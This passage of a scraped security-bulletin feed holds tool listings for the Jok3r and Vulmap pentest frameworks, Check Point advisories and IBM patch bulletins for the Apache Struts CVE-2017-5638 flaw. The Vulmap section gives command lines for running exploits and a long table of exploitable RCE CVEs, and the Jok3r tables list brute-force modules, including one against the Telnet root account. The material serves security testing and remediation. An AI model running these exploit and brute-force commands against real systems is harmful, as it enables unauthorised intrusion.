+--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**Telnet (default 21/tcp)** \n\n \n \n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n | nmap-recon | recon | Recon using Nmap Telnet scripts | nmap |\n | default-creds | bruteforce | Check default credentials on Telnet (dictionary from https://cirt.net/passwords) | patator |\n | bruteforce-root-account | bruteforce | Bruteforce \"root\" account on Telnet | patator |\n +-------------------------+------------+----------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**VNC (default 5900/tcp)** \n\n \n \n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap VNC scripts | nmap |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | bruteforce-pass | bruteforce | Bruteforce VNC password | patator |\n +-----------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n \n \n\n\n**[Download Jok3R](<https://github.com/koutto/jok3r>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-01-23T12:25:00", "type": "kitploit", "title": "Jok3R - Network And Web Pentest Framework", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-4344", "CVE-2011-1720", "CVE-2011-1764", "CVE-2012-1675", "CVE-2012-2122", "CVE-2014-6271", "CVE-2015-0240", "CVE-2015-4852", "CVE-2016-8735", "CVE-2017-10271", "CVE-2017-12617", "CVE-2017-3248", "CVE-2017-5638", "CVE-2017-7494", "CVE-2017-9798", "CVE-2017-9805", "CVE-2018-11776", "CVE-2018-2893"], "modified": "2019-01-23T12:25:12", "id": "KITPLOIT:5052987141331551837", "href": "http://www.kitploit.com/2019/01/jok3r-network-and-web-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:02:21", "description": "[![](https://1.bp.blogspot.com/-KABdDCvkQwg/X-K8tydG2pI/AAAAAAAAUvc/dR5VJ69ZRm8wEgBjOLkEBdJ3-MPZhg0TQCNcBGAsYHQ/s16000/vulmap.png)](<https://1.bp.blogspot.com/-KABdDCvkQwg/X-K8tydG2pI/AAAAAAAAUvc/dR5VJ69ZRm8wEgBjOLkEBdJ3-MPZhg0TQCNcBGAsYHQ/s678/vulmap.png>)\n\n \n\n\nVulmap is a vulnerability scanning tool that can scan for vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually exists.\n\nVulmap currently has vulnerability scanning (poc) and exploiting (exp) modes. Use \"-m\" to select which mode to use, and the default poc mode is the default. In poc mode, it also supports \"-f\" batch target scanning, \"-o\" File output results and other main functions, Other functions [Options](<https://github.com/zhzyker/vulmap/#options>) Or python3 vulmap.py -h, the Poc function will no longer be provided in the exploit exploit mode, but the exploit will be carried out directly, and the exploit result will be fed back to further verify whether the vulnerability exists and whether it can be exploited.\n\n**Try to use \"-a\" to establish target types to reduce false positives, such as \"-a solr\"**\n\n \n\n\n### Installation\n\nThe operating system must have python3, python3.7 or higher is recommended\n\n * Installation dependency\n \n \n pip3 install -r requirements.txt\n \n\n * Linux & MacOS & Windows\n \n \n python3 vulmap.py -u http://example.com\n \n\n \n\n\n### Options\n \n \n optional arguments:\n -h, --help show this help message and exit\n -u URL, --url URL Target URL (e.g. -u \"http://example.com\")\n -f FILE, --file FILE Select a target list file, and the url must be distinguished by lines (e.g. -f \"/home/user/list.txt\")\n -m MODE, --mode MODE The mode supports \"poc\" and \"exp\", you can omit this option, and enter poc mode by default\n -a APP, --app APP Specify a web app or cms (e.g. -a \"weblogic\"). default scan all\n -c CMD, --cmd CMD Custom RCE vuln command, Other than \"netstat -an\" and \"id\" can affect program judgment. defautl is \"netstat -an\"\n -v VULN, --vuln VULN Exploit, Specify the vuln number (e.g. -v \"CVE-2020-2729\")\n --list Displays a list of vulnerabilities that support scanning\n --debug Debug mode echo request and responses\n --delay DELAY Delay check time, default 0s\n --timeout TIMEOUT Scan timeout time, default 10s\n --output FILE Text mode export (e.g. -o \"result.txt\")\n \n\n \n\n\n### Examples\n\nTest all vulnerabilities poc mode\n \n \n python3 vulmap.py -u http://example.com\n \n\nFor RCE vuln, use the \"id\" command to test the vuln, because some linux does not have the \"netstat -an\" command\n \n \n python3 vulmap.py -u http://example.com -c \"id\"\n \n\nCheck <http://example.com> for struts2 vuln\n \n \n python3 vulmap.py -u http://example.com -a struts2\n \n \n \n python3 vulmap.py -u http://example.com -m poc -a struts2\n \n\nExploit the CVE-2019-2729 vuln of WebLogic on <http://example.com:7001>\n \n \n python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729\n \n \n \n python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729\n \n\nBatch scan URLs in list.txt\n \n \n python3 vulmap.py -f list.txt\n \n\nExport scan results to result.txt\n \n \n python3 vulmap.py -u http://example.com:7001 -o result.txt\n \n\n \n\n\n### Vulnerabilitys List\n\nVulmap supported vulnerabilities are as follows\n \n \n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Target type | Vuln Name | Poc | Exp | Impact Version && Vulnerability description |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Apache Shiro | CVE-2016-4437 | Y | Y | <= 1.2.4, shiro-550, rememberme deserialization rce |\n | Apache Solr | CVE-2017-12629 | Y | Y | < 7.1.0, runexecutablelistener rce & xxe, only rce is here |\n | Apache Solr | CVE-2019-0193 | Y | N | < 8.2.0, dataimporthandler module remote code execution |\n | Apache Solr | CVE-2019-17558 | Y | Y | 5.0.0 - 8.3.1, velocity response writer rce |\n | Apache Struts2 | S2-005 | Y | Y | 2.0.0 - 2.1.8.1, cve-2010-1870 parameters interceptor rce |\n | Apache Struts2 | S2-008 | Y | Y | 2.0.0 - 2.3.17, debugging interceptor rce |\n | Apache Struts2 | S2-009 | Y | Y | 2.1.0 - 2.3.1.1, cve-2011-3923 ognl interpreter rce |\n | Apache Struts2 | S2-013 | Y | Y | 2.0.0 - 2.3.14.1, cve-2013-1966 ognl interpreter rce |\n | Apache Struts2 | S2-015 | Y | Y | 2.0.0 - 2.3.14.2, cve-2013-2134 ognl interpreter rce |\n | Apache Struts2 | S2-016 | Y | Y | 2.0.0 - 2.3.15, cve-2013-2251 ognl interpreter rce |\n | Apache Struts2 | S2-029 | Y | Y | 2.0.0 - 2.3.24.1, ognl interpreter rce |\n | Apache Struts2 | S2-032 | Y | Y | 2.3.20-28, cve-2016-3081 rce can be performed via method |\n | Apache Struts2 | S2-045 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-046 | Y | Y | 2.3.5-31, 2.5.0-10, cve-2017-5638 jakarta multipart rce |\n | Apache Struts2 | S2-048 | Y | Y | 2.3.x, cve-2017-9791 struts2-struts1-plugin rce |\n | Apache Struts2 | S2-052 | Y | Y | 2.1.2 - 2.3.33, 2.5 - 2.5.12 cve-2017-9805 rest plugin rce |\n | Apache Struts2 | S2-057 | Y | Y | 2.0.4 - 2.3.34, 2.5.0-2.5.16, cve-2018-11776 namespace rce |\n | Apache Struts2 | S2-059 | Y | Y | 2.0.0 - 2.5.20 cve-2019-0230 ognl interpreter rce |\n | Apache Struts2 | S2-devMode | Y | Y | 2.1.0 - 2.5.1, devmode remote code execution |\n | Apache Tomcat | Examples File | Y | N | all version, /examples/servlets/servlet/SessionExample |\n | Apache Tomcat | CVE-2017-12615 | Y | Y | 7.0.0 - 7.0.81, put method any files upload |\n | Apache Tomcat | CVE-2020-1938 | Y | Y | 6, 7 < 7.0.100, 8 < 8.5.51, 9 < 9.0.31 arbitrary file read |\n | Drupal | CVE-2018-7600 | Y | Y | 6.x, 7.x, 8.x, drupalgeddon2 remote code execution |\n | Drupal | CVE-2018-7602 | Y | Y | < 7.59, < 8.5.3 (except 8.4.8) drupalgeddon2 rce |\n | Drupal | CVE-2019-6340 | Y | Y | < 8.6.10, drupal core restful remote code execution |\n | Jenkins | CVE-2017-1000353 | Y | N | <= 2.56, LTS <= 2.46.1, jenkins-ci remote code execution |\n | Jenkins | CVE-2018-1000861 | Y | Y | <= 2.153, LTS <= 2.138.3, remote code execution |\n | Nexus OSS/Pro | CVE-2019-7238 | Y | Y | 3.6.2 - 3.14.0, remote code execution vulnerability |\n | Nexus OSS/Pro | CVE-2020-10199 | Y | Y | 3.x <= 3.21.1, remote code execution vulnerability |\n | Oracle Weblogic | CVE-2014-4210 | Y | N | 10.0.2 - 10.3.6, weblogic ssrf vulnerability |\n | Oracle Weblogic | CVE-2017-3506 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.0-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2017-10271 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.1-2, weblogic wls-wsat rce |\n | Oracle Weblogic | CVE-2018-2894 | Y | Y | 12.1.3.0, 12.2.1.2-3, deserialization any file upload |\n | Oracle Weblogic | CVE-2019-2725 | Y | Y | 10.3.6.0, 12.1.3.0, weblogic wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2019-2729 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3 wls9-async deserialization rce |\n | Oracle Weblogic | CVE-2020-2551 | Y | N | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, wlscore deserialization rce |\n | Oracle Weblogic | CVE-2020-2555 | Y | Y | 3.7.1.17, 12.1.3.0.0, 12.2.1.3-4.0, t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-2883 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, iiop t3 deserialization rce |\n | Oracle Weblogic | CVE-2020-14882 | Y | Y | 10.3.6.0, 12.1.3.0, 12.2.1.3-4, 14.1.1.0.0, console rce |\n | RedHat JBoss | CVE-2010-0738 | Y | Y | 4.2.0 - 4.3.0, jmx-console deserialization any files upload |\n | RedHat JBoss | CVE-2010-1428 | Y | Y | 4.2.0 - 4.3.0, web-console deserialization any files upload |\n | RedHat JBoss | CVE-2015-7501 | Y | Y | 5.x, 6.x, jmxinvokerservlet deserialization any file upload |\n | ThinkPHP | CVE-2019-9082 | Y | Y | < 3.2.4, thinkphp rememberme deserialization rce |\n | ThinkPHP | CVE-2018-20062 | Y | Y | <= 5.0.23, 5.1.31, thinkphp rememberme deserialization rce |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n \n\n \n\n\n### Docker\n \n \n docker build -t vulmap/vulmap .\n docker run --rm -ti vulmap/vulmap python vulmap.py -u https://www.example.com\n\n \n\n\n \n \n\n\n**[Download Vulmap](<https://github.com/zhzyker/vulmap> \"Download Vulmap\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-25T11:30:00", "type": "kitploit", "title": "Vulmap - Web Vulnerability Scanning And Verification Tools", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-0738", "CVE-2010-1428", "CVE-2010-1870", "CVE-2011-3923", "CVE-2013-1966", "CVE-2013-2134", "CVE-2013-2251", "CVE-2014-4210", "CVE-2015-7501", "CVE-2016-3081", "CVE-2016-4437", "CVE-2017-1000353", "CVE-2017-10271", "CVE-2017-12615", "CVE-2017-12629", "CVE-2017-3506", "CVE-2017-5638", "CVE-2017-9791", "CVE-2017-9805", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-20062", "CVE-2018-2894", "CVE-2018-7600", "CVE-2018-7602", "CVE-2019-0193", "CVE-2019-0230", "CVE-2019-17558", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-6340", "CVE-2019-7238", "CVE-2019-9082", "CVE-2020-10199", "CVE-2020-14882", "CVE-2020-1938", "CVE-2020-2551", "CVE-2020-2555", "CVE-2020-2729", "CVE-2020-2883"], "modified": "2020-12-25T11:30:06", "id": "KITPLOIT:5420210148456420402", "href": "http://www.kitploit.com/2020/12/vulmap-web-vulnerability-scanning-and.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-10-04T10:32:49", "description": "A remote code execution vulnerability exists in Apache Struts2. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts2 Content-Type Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2022-09-28T00:00:00", "id": "CPAI-2017-0197", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-12-17T11:33:37", "description": "A remote code execution vulnerability exists in the Apache Struts2 using Jakarta multipart parser. An attacker could exploit this vulnerability by sending an invalid content-disposition as part of a file upload request. Successful exploitation could result in execution of arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-08-09T00:00:00", "type": "checkpoint_advisories", "title": "Apache Struts 2 Content-Disposition Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-08-29T00:00:00", "id": "CPAI-2017-0676", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ibm": [{"lastseen": "2023-02-13T05:37:08", "description": "## Summary\n\nThere is a vulnerability in Apache Struts to which the IBM\u00ae FlashSystem\u2122 V840 is susceptible. An exploit of this vulnerability (CVE-2017-5638) could allow a remote attacker to execute arbitrary code on the system.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\n**Affected Products and Versions of FlashSystem V840\u2019s two node types \n** \n_Storage Node_ \n\u00b7 Machine Type Models (MTMs) affected include 9846-AE1 and 9848-AE1 \n\u00b7 Code versions affected include supported VRMFs: \no 1.4.0.0 \u2013 1.4.6.0 \no 1.3.0.0 \u2013 1.3.0.7 \n \n_Controller Node _ \n\u00b7 MTMs affected include 9846-AC0, 9848-AC0, 9846-AC1, and 9848-AC1 \n\u00b7 Code versions affected include supported VRMFs: \no 7.8.0.0 \u2013 7.8.0.2 \no 7.7.0.0 \u2013 7.7.1.5\n\n## Remediation/Fixes\n\n_V840 MTMs_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n**Storage nodes:** \n9846-AE1 & \n9848-AE1 \n \n**Controller nodes:** \n9846-AC0, \n9846-AC1, \n9848-AC0, & \n9848-AC1| _Code fixes are now available, the minimum VRMF containing the fix depends on the code stream: \n \n___Storage Node VRMF __ \n_1.4 stream: 1.4.6.1 _ \n_1.3 stream: 1.3.0.8_ \n \n__Controller Node VRMF __ \n_7.8 stream: 7.8.1.0_ \n_7.7 stream: 7.7.1.6_| _ __N/A_| [**_FlashSystem V840 fixes_**](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+V840&release=1.0&platform=All&function=all>)** **for storage and controller node** **are available @ IBM\u2019s Fix Central \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:32:46", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem model V840", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:32:46", "id": "6470A30C25E8E98A770393E4946FDE7CFE3362A1DD3B87E75F8DB1F7CE3E88A5", "href": "https://www.ibm.com/support/pages/node/697157", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:52:21", "description": "## Summary\n\nAn Apache Struts vulnerability of arbitrary code execution was addressed by IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation.\n\n## Vulnerability Details\n\nCVEID: [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) **DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. CVSS Base Score: 7.3 CVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score CVSS Environmental Score*: Undefined CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nPlatform Cluster Manager Standard Edition Version 4.1.0, 4.1.1 and 4.1.1.1 \nPlatform Cluster Manager Advanced Edition Version 4.2.0, 4.2.0.1, 4.2.0.2 and 4.2.1 \nPlatform HPC Version 4.1.1, 4.1.1.1, 4.2.0 and 4.2.1 \nSpectrum Cluster Foundation 4.2.2\n\n## Remediation/Fixes\n\n_<Product_\n\n| _VRMF_| _APAR_| _Remediation/First Fix_ \n---|---|---|--- \n_Platform Cluster Manager Standard Edition_| _4.1.0, 4.1.1, 4.1.1.1, 4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1_| _None_| _See workaround_ \n_Platform Cluster Manager Advanced Edition_| _4.2.0, 4.2.0.1, 4.2.0.2, 4.2.1_| _None_| _See workaround_ \n_Platform HPC_| _4.1.1, 4.1.1.1, 4.2.0, 4.2.1_| _None_| _See workaround_ \n_Spectrum Cluster Foundation_| _4.2.2_| _None_| _See workaround_ \n \n## Workarounds and Mitigations\n\nPlatform Cluster Manager 4.2.1 & Platform HPC 4.2.1 & Spectrum Cluster Foundation 4.2.2 \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.32/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node. \n# mkdir -p /root/backup \n# mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/wlp/usr/servers/platform/apps/platform.war/WEB-INF/lib \n4 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI \n \n**Platform Cluster Manager 4.2.0 4.2.0.x & Platform HPC 4.2.0 4.2.0.x** \n \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.28/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node. \n4 # mkdir -p /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib \n \n5 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pcmadmin service stop --service WEBGUI # pcmadmin service start --service WEBGUI \n \n**Platform Cluster Manager 4.1.x & Platform HPC 4.1.x** \n1 Download the struts-2.3.32-lib.zip package from the following location:[_http://archive.apache.org/dist/struts/2.3.32/_](<http://archive.apache.org/dist/struts/2.3.28/>) \n2 Copy the struts-2.3.32-lib.zip package to the management node. \n3 Extract the struts-2.3.32-lib.zip package on the management node \n# mkdir -p /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-json-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/struts2-spring-plugin-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/xwork-core-* /root/backup # mv /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib/freemarker-* /root/backup \n \n# unzip struts-2.3.32-lib.zip # cd struts-2.3.32/lib/ # cp xwork-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-core-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-json-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-spring-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp freemarker-2.3.22.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib # cp struts2-jasperreports-plugin-2.3.32.jar /opt/pcm/web-portal/gui/3.0/tomcat/webapps/platform/WEB-INF/lib \n4 Restart Platform HPC services. If high availability is enabled, run the following commands on the active management node: \n# pcmhatool failmode -m manual # pmcadmin stop # pmcadmin start # pcmhatool failmode -m auto \nOtherwise, if high availability is not enabled, run the following commands on the management node: \n# pmcadmin stop # pmcadmin start \n \n \nIf providing a mitigation add this line to this section: \nIBM recommends that you review your entire environment to identify vulnerable releases of the Open Source Apache Struts Vulnerabilities Collections and take appropriate mitigation and remediation actions. \n \n 